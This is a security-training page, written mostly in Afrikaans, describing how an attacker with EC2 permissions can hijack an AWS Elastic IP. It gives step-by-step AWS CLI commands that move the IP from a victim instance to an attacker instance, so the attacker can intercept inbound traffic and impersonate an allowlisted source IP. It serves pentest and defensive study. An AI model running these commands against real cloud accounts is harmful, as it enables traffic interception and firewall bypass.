# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

{{#include ../../../../banners/hacktricks-training.md}}

## Opsomming

Misbruik `ec2:AssociateAddress` (en opsioneel `ec2:DisassociateAddress`) om 'n Elastic IP (EIP) van 'n slagoffer-instansie/ENI na 'n aanvaller-instansie/ENI te herassosieer. Dit herlei inkomende verkeer wat na die EIP gaan na die aanvaller en laat die aanvaller ook uitgaande verkeer met die allowlisted publieke IP uitgaan om eksterne vennoot-firewalls te omseil.

## Vereistes
- Teiken EIP allocation ID in dieselfde rekening/VPC.
- Aanvaller-instansie/ENI wat jy beheer.
- Permissies:
- `ec2:DescribeAddresses`
- `ec2:AssociateAddress` op die EIP allocation-id en op die aanvaller-instansie/ENI
- `ec2:DisassociateAddress` (opsioneel). Let wel: `--allow-reassociation` sal outomaties van die vorige aansluiting afdissocieer.

## Aanval

Variables
```bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
```
1) Ken die slagoffer se EIP toe of identifiseer dit (lab ken 'n nuwe een toe en heg dit aan die slagoffer)
```bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
```
2) Verifieer dat die EIP tans na die geteikende diens oplos (voorbeeld: kontroleer vir 'n banner)
```bash
curl -sS http://$EIP | grep -i victim
```
3) Herassosieer die EIP aan die attacker (word outomaties van die victim losgekoppel)
```bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
```
4) Verifieer dat die EIP nou na die attacker service oplos.
```bash
sleep 5; curl -sS http://$EIP | grep -i attacker
```
Bewys (verplaasde assosiasie):
```bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
```
## Impact
- Inbound impersonation: Alle verkeer na die hijacked EIP word na die attacker instance/ENI afgelewer.
- Outbound impersonation: Attacker kan verkeer inisieer wat blyk te kom van die allowlisted public IP (bruikbaar om partner/eksterne bron IP-filters te omseil).

{{#include ../../../../banners/hacktricks-training.md}}
